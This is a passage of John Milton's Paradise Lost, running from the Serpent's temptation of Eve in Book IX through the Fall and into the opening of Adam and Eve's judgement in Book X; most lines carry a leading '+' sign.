more pleasant lay, +Their tendance, or plantation for delight; +By fountain or by shady rivulet +He sought them both, but wished his hap might find +Eve separate; he wished, but not with hope +Of what so seldom chanced; when to his wish, +Beyond his hope, Eve separate he spies, +Veiled in a cloud of fragrance, where she stood, +Half spied, so thick the roses blushing round +About her glowed, oft stooping to support +Each flower of slender stalk, whose head, though gay +Carnation, purple, azure, or specked with gold, +Hung drooping unsustained; them she upstays +Gently with myrtle band, mindless the while +Herself, though fairest unsupported flower, +From her best prop so far, and storm so nigh. +Nearer he drew, and many a walk traversed +Of stateliest covert, cedar, pine, or palm; +Then voluble and bold, now hid, now seen, +Among thick-woven arborets, and flowers +Imbordered on each bank, the hand of Eve: +Spot more delicious than those gardens feigned +Or of revived Adonis, or renowned +Alcinous, host of old Laertes' son; +Or that, not mystick, where the sapient king +Held dalliance with his fair Egyptian spouse. +Much he the place admired, the person more. +As one who long in populous city pent, +Where houses thick and sewers annoy the air, +Forth issuing on a summer's morn, to breathe +Among the pleasant villages and farms +Adjoined, from each thing met conceives delight; +The smell of grain, or tedded grass, or kine, +Or dairy, each rural sight, each rural sound; +If chance, with nymph-like step, fair virgin pass, +What pleasing seemed, for her now pleases more; +She most, and in her look sums all delight: +Such pleasure took the Serpent to behold +This flowery plat, the sweet recess of Eve +Thus early, thus alone: Her heavenly form +Angelick, but more soft, and feminine, +Her graceful innocence, her every air +Of gesture, or least action, overawed +His malice, and with rapine sweet bereaved +His fierceness of the fierce intent it brought: +That space the Evil-one abstracted stood +From his own evil, and for the time remained +Stupidly good; of enmity disarmed, +Of guile, of hate, of envy, of revenge: +But the hot Hell that always in him burns, +Though in mid Heaven, soon ended his delight, +And tortures him now more, the more he sees +Of pleasure, not for him ordained: then soon +Fierce hate he recollects, and all his thoughts +Of mischief, gratulating, thus excites. +Thoughts, whither have ye led me! with what sweet +Compulsion thus transported, to forget +What hither brought us! hate, not love;nor hope +Of Paradise for Hell, hope here to taste +Of pleasure; but all pleasure to destroy, +Save what is in destroying; other joy +To me is lost. Then, let me not let pass +Occasion which now smiles; behold alone +The woman, opportune to all attempts, +Her husband, for I view far round, not nigh, +Whose higher intellectual more I shun, +And strength, of courage haughty, and of limb +Heroick built, though of terrestrial mould; +Foe not informidable! exempt from wound, +I not; so much hath Hell debased, and pain +Enfeebled me, to what I was in Heaven. +She fair, divinely fair, fit love for Gods! +Not terrible, though terrour be in love +And beauty, not approached by stronger hate, +Hate stronger, under show of love well feigned; +The way which to her ruin now I tend. +So spake the enemy of mankind, enclosed +In serpent, inmate bad! and toward Eve +Addressed his way: not with indented wave, +Prone on the ground, as since; but on his rear, +Circular base of rising folds, that towered +Fold above fold, a surging maze! his head +Crested aloft, and carbuncle his eyes; +With burnished neck of verdant gold, erect +Amidst his circling spires, that on the grass +Floated redundant: pleasing was his shape +And lovely; never since of serpent-kind +Lovelier, not those that in Illyria changed, +Hermione and Cadmus, or the god +In Epidaurus; nor to which transformed +Ammonian Jove, or Capitoline, was seen; +He with Olympias; this with her who bore +Scipio, the highth of Rome. With tract oblique +At first, as one who sought access, but feared +To interrupt, side-long he works his way. +As when a ship, by skilful steersmen wrought +Nigh river's mouth or foreland, where the wind +Veers oft, as oft so steers, and shifts her sail: +So varied he, and of his tortuous train +Curled many a wanton wreath in sight of Eve, +To lure her eye; she, busied, heard the sound +Of rusling leaves, but minded not, as used +To such disport before her through the field, +From every beast; more duteous at her call, +Than at Circean call the herd disguised. +He, bolder now, uncalled before her stood, +But as in gaze admiring: oft he bowed +His turret crest, and sleek enamelled neck, +Fawning; and licked the ground whereon she trod. +His gentle dumb expression turned at length +The eye of Eve to mark his play; he, glad +Of her attention gained, with serpent-tongue +Organick, or impulse of vocal air, +His fraudulent temptation thus began. +Wonder not, sovran Mistress, if perhaps +Thou canst, who art sole wonder! much less arm +Thy looks, the Heaven of mildness, with disdain, +Displeased that I approach thee thus, and gaze +Insatiate; I thus single;nor have feared +Thy awful brow, more awful thus retired. +Fairest resemblance of thy Maker fair, +Thee all things living gaze on, all things thine +By gift, and thy celestial beauty adore +With ravishment beheld! there best beheld, +Where universally admired; but here +In this enclosure wild, these beasts among, +Beholders rude, and shallow to discern +Half what in thee is fair, one man except, +Who sees thee? and what is one? who should be seen +A Goddess among Gods, adored and served +By Angels numberless, thy daily train. +So glozed the Tempter, and his proem tuned: +Into the heart of Eve his words made way, +Though at the voice much marvelling; at length, +Not unamazed, she thus in answer spake. +What may this mean? language of man pronounced +By tongue of brute, and human sense expressed? +The first, at least, of these I thought denied +To beasts; whom God, on their creation-day, +Created mute to all articulate sound: +The latter I demur; for in their looks +Much reason, and in their actions, oft appears. +Thee, Serpent, subtlest beast of all the field +I knew, but not with human voice endued; +Redouble then this miracle, and say, +How camest thou speakable of mute, and how +To me so friendly grown above the rest +Of brutal kind, that daily are in sight? +Say, for such wonder claims attention due. +To whom the guileful Tempter thus replied. +Empress of this fair world, resplendent Eve! +Easy to me it is to tell thee all +What thou commandest; and right thou shouldst be obeyed: +I was at first as other beasts that graze +The trodden herb, of abject thoughts and low, +As was my food; nor aught but food discerned +Or sex, and apprehended nothing high: +Till, on a day roving the field, I chanced +A goodly tree far distant to behold +Loaden with fruit of fairest colours mixed, +Ruddy and gold: I nearer drew to gaze; +When from the boughs a savoury odour blown, +Grateful to appetite, more pleased my sense +Than smell of sweetest fennel, or the teats +Of ewe or goat dropping with milk at even, +Unsucked of lamb or kid, that tend their play. +To satisfy the sharp desire I had +Of tasting those fair apples, I resolved +Not to defer; hunger and thirst at once, +Powerful persuaders, quickened at the scent +Of that alluring fruit, urged me so keen. +About the mossy trunk I wound me soon; +For, high from ground, the branches would require +Thy utmost reach or Adam's: Round the tree +All other beasts that saw, with like desire +Longing and envying stood, but could not reach. +Amid the tree now got, where plenty hung +Tempting so nigh, to pluck and eat my fill +I spared not; for, such pleasure till that hour, +At feed or fountain, never had I found. +Sated at length, ere long I might perceive +Strange alteration in me, to degree +Of reason in my inward powers; and speech +Wanted not long; though to this shape retained. +Thenceforth to speculations high or deep +I turned my thoughts, and with capacious mind +Considered all things visible in Heaven, +Or Earth, or Middle; all things fair and good: +But all that fair and good in thy divine +Semblance, and in thy beauty's heavenly ray, +United I beheld; no fair to thine +Equivalent or second! which compelled +Me thus, though importune perhaps, to come +And gaze, and worship thee of right declared +Sovran of creatures, universal Dame! +So talked the spirited sly Snake; and Eve, +Yet more amazed, unwary thus replied. +Serpent, thy overpraising leaves in doubt +The virtue of that fruit, in thee first proved: +But say, where grows the tree? from hence how far? +For many are the trees of God that grow +In Paradise, and various, yet unknown +To us; in such abundance lies our choice, +As leaves a greater store of fruit untouched, +Still hanging incorruptible, till men +Grow up to their provision, and more hands +Help to disburden Nature of her birth. +To whom the wily Adder, blithe and glad. +Empress, the way is ready, and not long; +Beyond a row of myrtles, on a flat, +Fast by a fountain, one small thicket past +Of blowing myrrh and balm: if thou accept +My conduct, I can bring thee thither soon +Lead then, said Eve. He, leading, swiftly rolled +In tangles, and made intricate seem straight, +To mischief swift. Hope elevates, and joy +Brightens his crest; as when a wandering fire, +Compact of unctuous vapour, which the night +Condenses, and the cold environs round, +Kindled through agitation to a flame, +Which oft, they say, some evil Spirit attends, +Hovering and blazing with delusive light, +Misleads the amazed night-wanderer from his way +To bogs and mires, and oft through pond or pool; +There swallowed up and lost, from succour far. +So glistered the dire Snake, and into fraud +Led Eve, our credulous mother, to the tree +Of prohibition, root of all our woe; +Which when she saw, thus to her guide she spake. +Serpent, we might have spared our coming hither, +Fruitless to me, though fruit be here to excess, +The credit of whose virtue rest with thee; +Wonderous indeed, if cause of such effects. +But of this tree we may not taste nor touch; +God so commanded, and left that command +Sole daughter of his voice; the rest, we live +Law to ourselves; our reason is our law. +To whom the Tempter guilefully replied. +Indeed! hath God then said that of the fruit +Of all these garden-trees ye shall not eat, +Yet Lords declared of all in earth or air$? +To whom thus Eve, yet sinless. Of the fruit +Of each tree in the garden we may eat; +But of the fruit of this fair tree amidst +The garden, God hath said, Ye shall not eat +Thereof, nor shall ye touch it, lest ye die. +She scarce had said, though brief, when now more bold +The Tempter, but with show of zeal and love +To Man, and indignation at his wrong, +New part puts on; and, as to passion moved, +Fluctuates disturbed, yet comely and in act +Raised, as of some great matter to begin. +As when of old some orator renowned, +In Athens or free Rome, where eloquence +Flourished, since mute! to some great cause addressed, +Stood in himself collected; while each part, +Motion, each act, won audience ere the tongue; +Sometimes in highth began, as no delay +Of preface brooking, through his zeal of right: +So standing, moving, or to highth up grown, +The Tempter, all impassioned, thus began. +O sacred, wise, and wisdom-giving Plant, +Mother of science! now I feel thy power +Within me clear; not only to discern +Things in their causes, but to trace the ways +Of highest agents, deemed however wise. +Queen of this universe! do not believe +Those rigid threats of death: ye shall not die: +How should you? by the fruit? it gives you life +To knowledge; by the threatener? look on me, +Me, who have touched and tasted; yet both live, +And life more perfect have attained than Fate +Meant me, by venturing higher than my lot. +Shall that be shut to Man, which to the Beast +Is open? or will God incense his ire +For such a petty trespass? and not praise +Rather your dauntless virtue, whom the pain +Of death denounced, whatever thing death be, +Deterred not from achieving what might lead +To happier life, knowledge of good and evil; +Of good, how just? of evil, if what is evil +Be real, why not known, since easier shunned? +God therefore cannot hurt ye, and be just; +Not just, not God; not feared then, nor obeyed: +Your fear itself of death removes the fear. +Why then was this forbid? Why, but to awe; +Why, but to keep ye low and ignorant, +His worshippers? He knows that in the day +Ye eat thereof, your eyes that seem so clear, +Yet are but dim, shall perfectly be then +Opened and cleared, and ye shall be as Gods, +Knowing both good and evil, as they know. +That ye shall be as Gods, since I as Man, +Internal Man, is but proportion meet; +I, of brute, human; ye, of human, Gods. +So ye shall die perhaps, by putting off +Human, to put on Gods; death to be wished, +Though threatened, which no worse than this can bring. +And what are Gods, that Man may not become +As they, participating God-like food? +The Gods are first, and that advantage use +On our belief, that all from them proceeds: +I question it; for this fair earth I see, +Warmed by the sun, producing every kind; +Them, nothing: if they all things, who enclosed +Knowledge of good and evil in this tree, +That whoso eats thereof, forthwith attains +Wisdom without their leave? and wherein lies +The offence, that Man should thus attain to know? +What can your knowledge hurt him, or this tree +Impart against his will, if all be his? +Or is it envy? and can envy dwell +In heavenly breasts? These, these, and many more +Causes import your need of this fair fruit. +Goddess humane, reach then, and freely taste! +He ended; and his words, replete with guile, +Into her heart too easy entrance won: +Fixed on the fruit she gazed, which to behold +Might tempt alone; and in her ears the sound +Yet rung of his persuasive words, impregned +With reason, to her seeming, and with truth: +Mean while the hour of noon drew on, and waked +An eager appetite, raised by the smell +So savoury of that fruit, which with desire, +Inclinable now grown to touch or taste, +Solicited her longing eye; yet first +Pausing a while, thus to herself she mused. +Great are thy virtues, doubtless, best of fruits, +Though kept from man, and worthy to be admired; +Whose taste, too long forborn, at first assay +Gave elocution to the mute, and taught +The tongue not made for speech to speak thy praise: +Thy praise he also, who forbids thy use, +Conceals not from us, naming thee the tree +Of knowledge, knowledge both of good and evil; +Forbids us then to taste! but his forbidding +Commends thee more, while it infers the good +By thee communicated, and our want: +For good unknown sure is not had; or, had +And yet unknown, is as not had at all. +In plain then, what forbids he but to know, +Forbids us good, forbids us to be wise? +Such prohibitions bind not. But, if death +Bind us with after-bands, what profits then +Our inward freedom? In the day we eat +Of this fair fruit, our doom is, we shall die! +How dies the Serpent? he hath eaten and lives, +And knows, and speaks, and reasons, and discerns, +Irrational till then. For us alone +Was death invented? or to us denied +This intellectual food, for beasts reserved? +For beasts it seems: yet that one beast which first +Hath tasted envies not, but brings with joy +The good befallen him, author unsuspect, +Friendly to man, far from deceit or guile. +What fear I then? rather, what know to fear +Under this ignorance of good and evil, +Of God or death, of law or penalty? +Here grows the cure of all, this fruit divine, +Fair to the eye, inviting to the taste, +Of virtue to make wise: What hinders then +To reach, and feed at once both body and mind? +So saying, her rash hand in evil hour +Forth reaching to the fruit, she plucked, she eat! +Earth felt the wound; and Nature from her seat, +Sighing through all her works, gave signs of woe, +That all was lost. Back to the thicket slunk +The guilty Serpent; and well might;for Eve, +Intent now wholly on her taste, nought else +Regarded; such delight till then, as seemed, +In fruit she never tasted, whether true +Or fancied so, through expectation high +Of knowledge; not was Godhead from her thought. +Greedily she ingorged without restraint, +And knew not eating death: Satiate at length, +And hightened as with wine, jocund and boon, +Thus to herself she pleasingly began. +O sovran, virtuous, precious of all trees +In Paradise! of operation blest +To sapience, hitherto obscured, infamed. +And thy fair fruit let hang, as to no end +Created; but henceforth my early care, +Not without song, each morning, and due praise, +Shall tend thee, and the fertile burden ease +Of thy full branches offered free to all; +Till, dieted by thee, I grow mature +In knowledge, as the Gods, who all things know; +Though others envy what they cannot give: +For, had the gift been theirs, it had not here +Thus grown. Experience, next, to thee I owe, +Best guide; not following thee, I had remained +In ignorance; thou openest wisdom's way, +And givest access, though secret she retire. +And I perhaps am secret: Heaven is high, +High, and remote to see from thence distinct +Each thing on Earth; and other care perhaps +May have diverted from continual watch +Our great Forbidder, safe with all his spies +About him. But to Adam in what sort +Shall I appear? shall I to him make known +As yet my change, and give him to partake +Full happiness with me, or rather not, +But keeps the odds of knowledge in my power +Without copartner? so to add what wants +In female sex, the more to draw his love, +And render me more equal; and perhaps, +A thing not undesirable, sometime +Superiour; for, inferiour, who is free +This may be well: But what if God have seen, +And death ensue? then I shall be no more! +And Adam, wedded to another Eve, +Shall live with her enjoying, I extinct; +A death to think! Confirmed then I resolve, +Adam shall share with me in bliss or woe: +So dear I love him, that with him all deaths +I could endure, without him live no life. +So saying, from the tree her step she turned; +But first low reverence done, as to the Power +That dwelt within, whose presence had infused +Into the plant sciential sap, derived +From nectar, drink of Gods. Adam the while, +Waiting desirous her return, had wove +Of choicest flowers a garland, to adorn +Her tresses, and her rural labours crown; +As reapers oft are wont their harvest-queen. +Great joy he promised to his thoughts, and new +Solace in her return, so long delayed: +Yet oft his heart, divine of something ill, +Misgave him; he the faltering measure felt; +And forth to meet her went, the way she took +That morn when first they parted: by the tree +Of knowledge he must pass; there he her met, +Scarce from the tree returning; in her hand +A bough of fairest fruit, that downy smiled, +New gathered, and ambrosial smell diffused. +To him she hasted; in her face excuse +Came prologue, and apology too prompt; +Which, with bland words at will, she thus addressed. +Hast thou not wondered, Adam, at my stay? +Thee I have missed, and thought it long, deprived +Thy presence; agony of love till now +Not felt, nor shall be twice; for never more +Mean I to try, what rash untried I sought, +The pain of absence from thy sight. But strange +Hath been the cause, and wonderful to hear: +This tree is not, as we are told, a tree +Of danger tasted, nor to evil unknown +Opening the way, but of divine effect +To open eyes, and make them Gods who taste; +And hath been tasted such: The serpent wise, +Or not restrained as we, or not obeying, +Hath eaten of the fruit; and is become, +Not dead, as we are threatened, but thenceforth +Endued with human voice and human sense, +Reasoning to admiration; and with me +Persuasively hath so prevailed, that I +Have also tasted, and have also found +The effects to correspond; opener mine eyes, +Dim erst, dilated spirits, ampler heart, +And growing up to Godhead; which for thee +Chiefly I sought, without thee can despise. +For bliss, as thou hast part, to me is bliss; +Tedious, unshared with thee, and odious soon. +Thou therefore also taste, that equal lot +May join us, equal joy, as equal love; +Lest, thou not tasting, different degree +Disjoin us, and I then too late renounce +Deity for thee, when Fate will not permit. +Thus Eve with countenance blithe her story told; +But in her cheek distemper flushing glowed. +On the other side Adam, soon as he heard +The fatal trespass done by Eve, amazed, +Astonied stood and blank, while horrour chill +Ran through his veins, and all his joints relaxed; +From his slack hand the garland wreathed for Eve +Down dropt, and all the faded roses shed: +Speechless he stood and pale, till thus at length +First to himself he inward silence broke. +O fairest of Creation, last and best +Of all God's works, Creature in whom excelled +Whatever can to sight or thought be formed, +Holy, divine, good, amiable, or sweet! +How art thou lost! how on a sudden lost, +Defaced, deflowered, and now to death devote! +Rather, how hast thou yielded to transgress +The strict forbiddance, how to violate +The sacred fruit forbidden! Some cursed fraud +Of enemy hath beguiled thee, yet unknown, +And me with thee hath ruined; for with thee +Certain my resolution is to die: +How can I live without thee! how forego +Thy sweet converse, and love so dearly joined, +To live again in these wild woods forlorn! +Should God create another Eve, and I +Another rib afford, yet loss of thee +Would never from my heart: no, no!I feel +The link of Nature draw me: flesh of flesh, +Bone of my bone thou art, and from thy state +Mine never shall be parted, bliss or woe. +So having said, as one from sad dismay +Recomforted, and after thoughts disturbed +Submitting to what seemed remediless, +Thus in calm mood his words to Eve he turned. +Bold deed thou hast presumed, adventurous Eve, +And peril great provoked, who thus hast dared, +Had it been only coveting to eye +That sacred fruit, sacred to abstinence, +Much more to taste it under ban to touch. +But past who can recall, or done undo? +Not God Omnipotent, nor Fate; yet so +Perhaps thou shalt not die, perhaps the fact +Is not so heinous now, foretasted fruit, +Profaned first by the serpent, by him first +Made common, and unhallowed, ere our taste; +Nor yet on him found deadly; yet he lives; +Lives, as thou saidst, and gains to live, as Man, +Higher degree of life; inducement strong +To us, as likely tasting to attain +Proportional ascent; which cannot be +But to be Gods, or Angels, demi-Gods. +Nor can I think that God, Creator wise, +Though threatening, will in earnest so destroy +Us his prime creatures, dignified so high, +Set over all his works; which in our fall, +For us created, needs with us must fail, +Dependant made; so God shall uncreate, +Be frustrate, do, undo, and labour lose; +Not well conceived of God, who, though his power +Creation could repeat, yet would be loth +Us to abolish, lest the Adversary +Triumph, and say; "Fickle their state whom God +"Most favours; who can please him long? Me first +"He ruined, now Mankind; whom will he next?" +Matter of scorn, not to be given the Foe. +However I with thee have fixed my lot, +Certain to undergo like doom: If death +Consort with thee, death is to me as life; +So forcible within my heart I feel +The bond of Nature draw me to my own; +My own in thee, for what thou art is mine; +Our state cannot be severed; we are one, +One flesh; to lose thee were to lose myself. +So Adam; and thus Eve to him replied. +O glorious trial of exceeding love, +Illustrious evidence, example high! +Engaging me to emulate; but, short +Of thy perfection, how shall I attain, +Adam, from whose dear side I boast me sprung, +And gladly of our union hear thee speak, +One heart, one soul in both; whereof good proof +This day affords, declaring thee resolved, +Rather than death, or aught than death more dread, +Shall separate us, linked in love so dear, +To undergo with me one guilt, one crime, +If any be, of tasting this fair fruit; +Whose virtue for of good still good proceeds, +Direct, or by occasion, hath presented +This happy trial of thy love, which else +So eminently never had been known? +Were it I thought death menaced would ensue +This my attempt, I would sustain alone +The worst, and not persuade thee, rather die +Deserted, than oblige thee with a fact +Pernicious to thy peace; chiefly assured +Remarkably so late of thy so true, +So faithful, love unequalled: but I feel +Far otherwise the event; not death, but life +Augmented, opened eyes, new hopes, new joys, +Taste so divine, that what of sweet before +Hath touched my sense, flat seems to this, and harsh. +On my experience, Adam, freely taste, +And fear of death deliver to the winds. +So saying, she embraced him, and for joy +Tenderly wept; much won, that he his love +Had so ennobled, as of choice to incur +Divine displeasure for her sake, or death. +In recompence for such compliance bad +Such recompence best merits from the bough +She gave him of that fair enticing fruit +With liberal hand: he scrupled not to eat, +Against his better knowledge; not deceived, +But fondly overcome with female charm. +Earth trembled from her entrails, as again +In pangs; and Nature gave a second groan; +Sky loured; and, muttering thunder, some sad drops +Wept at completing of the mortal sin +Original: while Adam took no thought, +Eating his fill; nor Eve to iterate +Her former trespass feared, the more to sooth +Him with her loved society; that now, +As with new wine intoxicated both, +They swim in mirth, and fancy that they feel +Divinity within them breeding wings, +Wherewith to scorn the earth: But that false fruit +Far other operation first displayed, +Carnal desire inflaming; he on Eve +Began to cast lascivious eyes; she him +As wantonly repaid; in lust they burn: +Till Adam thus 'gan Eve to dalliance move. +Eve, now I see thou art exact of taste, +And elegant, of sapience no small part; +Since to each meaning savour we apply, +And palate call judicious; I the praise +Yield thee, so well this day thou hast purveyed. +Much pleasure we have lost, while we abstained +From this delightful fruit, nor known till now +True relish, tasting; if such pleasure be +In things to us forbidden, it might be wished, +For this one tree had been forbidden ten. +But come, so well refreshed, now let us play, +As meet is, after such delicious fare; +For never did thy beauty, since the day +I saw thee first and wedded thee, adorned +With all perfections, so inflame my sense +With ardour to enjoy thee, fairer now +Than ever; bounty of this virtuous tree! +So said he, and forbore not glance or toy +Of amorous intent; well understood +Of Eve, whose eye darted contagious fire. +Her hand he seised; and to a shady bank, +Thick over-head with verdant roof imbowered, +He led her nothing loth; flowers were the couch, +Pansies, and violets, and asphodel, +And hyacinth; Earth's freshest softest lap. +There they their fill of love and love's disport +Took largely, of their mutual guilt the seal, +The solace of their sin; till dewy sleep +Oppressed them, wearied with their amorous play, +Soon as the force of that fallacious fruit, +That with exhilarating vapour bland +About their spirits had played, and inmost powers +Made err, was now exhaled; and grosser sleep, +Bred of unkindly fumes, with conscious dreams +Incumbered, now had left them; up they rose +As from unrest; and, each the other viewing, +Soon found their eyes how opened, and their minds +How darkened; innocence, that as a veil +Had shadowed them from knowing ill, was gone; +Just confidence, and native righteousness, +And honour, from about them, naked left +To guilty Shame; he covered, but his robe +Uncovered more. So rose the Danite strong, +Herculean Samson, from the harlot-lap +Of Philistean Dalilah, and waked +Shorn of his strength. They destitute and bare +Of all their virtue: Silent, and in face +Confounded, long they sat, as strucken mute: +Till Adam, though not less than Eve abashed, +At length gave utterance to these words constrained. +O Eve, in evil hour thou didst give ear +To that false worm, of whomsoever taught +To counterfeit Man's voice; true in our fall, +False in our promised rising; since our eyes +Opened we find indeed, and find we know +Both good and evil; good lost, and evil got; +Bad fruit of knowledge, if this be to know; +Which leaves us naked thus, of honour void, +Of innocence, of faith, of purity, +Our wonted ornaments now soiled and stained, +And in our faces evident the signs +Of foul concupiscence; whence evil store; +Even shame, the last of evils; of the first +Be sure then.--How shall I behold the face +Henceforth of God or Angel, erst with joy +And rapture so oft beheld? Those heavenly shapes +Will dazzle now this earthly with their blaze +Insufferably bright. O! might I here +In solitude live savage; in some glade +Obscured, where highest woods, impenetrable +To star or sun-light, spread their umbrage broad +And brown as evening: Cover me, ye Pines! +Ye Cedars, with innumerable boughs +Hide me, where I may never see them more!-- +But let us now, as in bad plight, devise +What best may for the present serve to hide +The parts of each from other, that seem most +To shame obnoxious, and unseemliest seen; +Some tree, whose broad smooth leaves together sewed, +And girded on our loins, may cover round +Those middle parts; that this new comer, Shame, +There sit not, and reproach us as unclean. +So counselled he, and both together went +Into the thickest wood; there soon they chose +The fig-tree; not that kind for fruit renowned, +But such as at this day, to Indians known, +In Malabar or Decan spreads her arms +Branching so broad and long, that in the ground +The bended twigs take root, and daughters grow +About the mother tree, a pillared shade +High over-arched, and echoing walks between: +There oft the Indian herdsman, shunning heat, +Shelters in cool, and tends his pasturing herds +At loop-holes cut through thickest shade: Those leaves +They gathered, broad as Amazonian targe; +And, with what skill they had, together sewed, +To gird their waist; vain covering, if to hide +Their guilt and dreaded shame! O, how unlike +To that first naked glory! Such of late +Columbus found the American, so girt +With feathered cincture; naked else, and wild +Among the trees on isles and woody shores. +Thus fenced, and, as they thought, their shame in part +Covered, but not at rest or ease of mind, +They sat them down to weep; nor only tears +Rained at their eyes, but high winds worse within +Began to rise, high passions, anger, hate, +Mistrust, suspicion, discord; and shook sore +Their inward state of mind, calm region once +And full of peace, now tost and turbulent: +For Understanding ruled not, and the Will +Heard not her lore; both in subjection now +To sensual Appetite, who from beneath +Usurping over sovran Reason claimed +Superiour sway: From thus distempered breast, +Adam, estranged in look and altered style, +Speech intermitted thus to Eve renewed. +Would thou hadst hearkened to my words, and staid +With me, as I besought thee, when that strange +Desire of wandering, this unhappy morn, +I know not whence possessed thee; we had then +Remained still happy; not, as now, despoiled +Of all our good; shamed, naked, miserable! +Let none henceforth seek needless cause to approve +The faith they owe; when earnestly they seek +Such proof, conclude, they then begin to fail. +To whom, soon moved with touch of blame, thus Eve. +What words have passed thy lips, Adam severe! +Imputest thou that to my default, or will +Of wandering, as thou callest it, which who knows +But might as ill have happened thou being by, +Or to thyself perhaps? Hadst thou been there, +Or here the attempt, thou couldst not have discerned +Fraud in the Serpent, speaking as he spake; +No ground of enmity between us known, +Why he should mean me ill, or seek to harm. +Was I to have never parted from thy side? +As good have grown there still a lifeless rib. +Being as I am, why didst not thou, the head, +Command me absolutely not to go, +Going into such danger, as thou saidst? +Too facile then, thou didst not much gainsay; +Nay, didst permit, approve, and fair dismiss. +Hadst thou been firm and fixed in thy dissent, +Neither had I transgressed, nor thou with me. +To whom, then first incensed, Adam replied. +Is this the love, is this the recompence +Of mine to thee, ingrateful Eve! expressed +Immutable, when thou wert lost, not I; +Who might have lived, and joyed immortal bliss, +Yet willingly chose rather death with thee? +And am I now upbraided as the cause +Of thy transgressing? Not enough severe, +It seems, in thy restraint: What could I more +I warned thee, I admonished thee, foretold +The danger, and the lurking enemy +That lay in wait; beyond this, had been force; +And force upon free will hath here no place. +But confidence then bore thee on; secure +Either to meet no danger, or to find +Matter of glorious trial; and perhaps +I also erred, in overmuch admiring +What seemed in thee so perfect, that I thought +No evil durst attempt thee; but I rue +The errour now, which is become my crime, +And thou the accuser. Thus it shall befall +Him, who, to worth in women overtrusting, +Lets her will rule: restraint she will not brook; +And, left to herself, if evil thence ensue, +She first his weak indulgence will accuse. +Thus they in mutual accusation spent +The fruitless hours, but neither self-condemning; +And of their vain contest appeared no end. + + + +Book X + + +Mean while the heinous and despiteful act +Of Satan, done in Paradise; and how +He, in the serpent, had perverted Eve, +Her husband she, to taste the fatal fruit, +Was known in Heaven; for what can 'scape the eye +Of God all-seeing, or deceive his heart +Omniscient? who, in all things wise and just, +Hindered not Satan to attempt the mind +Of Man, with strength entire and free will armed, +Complete to have discovered and repulsed +Whatever wiles of foe or seeming friend. +For still they knew, and ought to have still remembered, +The high injunction, not to taste that fruit, +Whoever tempted; which they not obeying, +(Incurred what could they less?) the penalty; +And, manifold in sin, deserved to fall. +Up into Heaven from Paradise in haste +The angelick guards ascended, mute, and sad, +For Man; for of his state by this they knew, +Much wondering how the subtle Fiend had stolen +Entrance unseen. Soon as the unwelcome news +From Earth arrived at Heaven-gate, displeased +All were who heard; dim sadness did not spare +That time celestial visages, yet, mixed +With pity, violated not their bliss. +About the new-arrived, in multitudes +The ethereal people ran, to hear and know +How all befel: They towards the throne supreme, +Accountable, made haste, to make appear, +With righteous plea, their utmost vigilance +And easily approved; when the Most High +Eternal Father, from his secret cloud, +Amidst in thunder uttered thus his voice. +Assembled Angels, and ye Powers returned +From unsuccessful charge; be not dismayed, +Nor troubled at these tidings from the earth, +Which your sincerest care could not prevent; +Foretold so lately what would come to pass, +When first this tempter crossed the gulf from Hell. +I told ye then he should prevail, and speed +On his bad errand; Man should be seduced, +And flattered out of all, believing lies +Against his Maker; no decree of mine +Concurring to necessitate his fall, +Or touch with lightest moment of impulse +His free will, to her own inclining left +In even scale. But fallen he is; and now +What rests, but that the mortal sentence pass +On his transgression,--death denounced that day? +Which he presumes already vain and void, +Because not yet inflicted, as he feared, +By some immediate stroke; but soon shall find +Forbearance no acquittance, ere day end. +Justice shall not return as bounty scorned. +But whom send I to judge them? whom but thee, +Vicegerent Son? To thee I have transferred +All judgement, whether in Heaven, or Earth, or Hell. +Easy it may be seen that I intend +Mercy colleague with justice, sending thee +Man's friend, his Mediator, his designed +Both ransom and Redeemer voluntary, +And destined Man himself to judge Man fallen. +So spake the Father; and, unfolding bright +Toward the right hand his glory, on the Son +Blazed forth unclouded Deity: He full +Resplendent all his Father manifest +Expressed, and thus divinely answered mild. +Father Eternal, thine is to decree; +Mine, both in Heaven and Earth, to do thy will +Supreme; that thou in me, thy Son beloved, +Mayest ever rest well pleased. I go to judge +On earth these thy transgressours; but thou knowest, +Whoever judged, the worst on me must light, +When time shall be; for so I undertook +Before thee; and, not repenting, this obtain +Of right, that I may mitigate their doom +On me derived; yet I shall temper so +Justice with mercy, as may illustrate most +Them fully satisfied, and thee appease. +Attendance none shall need, nor train, where none +Are to behold the judgement, but the judged, +Those two; the third best absent is condemned, +Convict by flight, and rebel to all law: +Conviction to the serpent none belongs. +Thus saying, from his radiant seat he rose +Of high collateral glory: Him Thrones, and Powers, +Princedoms, and Dominations ministrant, +Accompanied to Heaven-gate; from whence +Eden, and all the coast, in prospect lay. +Down he descended straight; the speed of Gods +Time counts not, though with swiftest minutes winged. +Now was the sun in western cadence low +From noon, and gentle airs, due at their hour, +To fan the earth now waked, and usher in +The evening cool; when he, from wrath more cool, +Came the mild Judge, and Intercessour both, +To sentence Man: The voice of God they heard +Now walking in the garden, by soft winds +Brought to their ears, while day declined; they heard, +And from his presence hid themselves among +The thickest trees, both man and wife; till God, +Approaching, thus to Adam called aloud. +Where art thou, Adam, wont with joy to meet +My coming seen far off? I miss thee here, +Not pleased, thus entertained with solitude, +Where obvious duty ere while appeared unsought: +Or come I less conspicuous, or what change +Absents thee, or what chance detains?--Come forth! +He came; and with him Eve, more loth, though first +To offend; discountenanced both, and discomposed; +Love was not in their looks, either to God, +Or to each other; but apparent guilt, +And shame, and perturbation, and despair, +Anger, and obstinacy, and hate, and guile. +Whence Adam, faltering long, thus answered brief. +I heard thee in the garden, and of thy voice +Afraid, being naked, hid myself. To whom +The gracious Judge without revile replied. +My voice thou oft hast heard, and hast not feared, +But still rejoiced; how is it now become +So dreadful to thee? That thou art naked, who +Hath told thee? Hast thou eaten of the tree, +Whereof I gave thee charge thou shouldst not eat? +To whom thus Adam sore beset replied. +O Heaven! in evil strait this day I stand +Before my Judge; either to undergo +Myself the total crime, or to accuse +My other self, the partner of my life; +Whose failing, while her faith to me remains, +I should conceal, and not expose to blame +By my complaint: but strict necessity +Subdues me, and calamitous constraint; +Lest on my head both sin and punishment, +However insupportable, be all +Devolved; though should I hold my peace, yet thou +Wouldst easily detect what I conceal.-- +This Woman, whom thou madest to be my help, +And gavest me as thy perfect gift, so good, +So fit, so acceptable, so divine, +That from her hand I could suspect no ill, +And what she did, whatever in itself, +Her doing seemed to justify the deed; +She gave me of the tree, and I did eat. +To whom the Sovran Presence thus replied. +Was she thy God, that her thou didst obey +Before his voice? or was she made thy guide, +Superiour, or but equal, that to her +Thou didst resign thy manhood, and the place +Wherein God set thee above her made of thee, +And for thee, whose 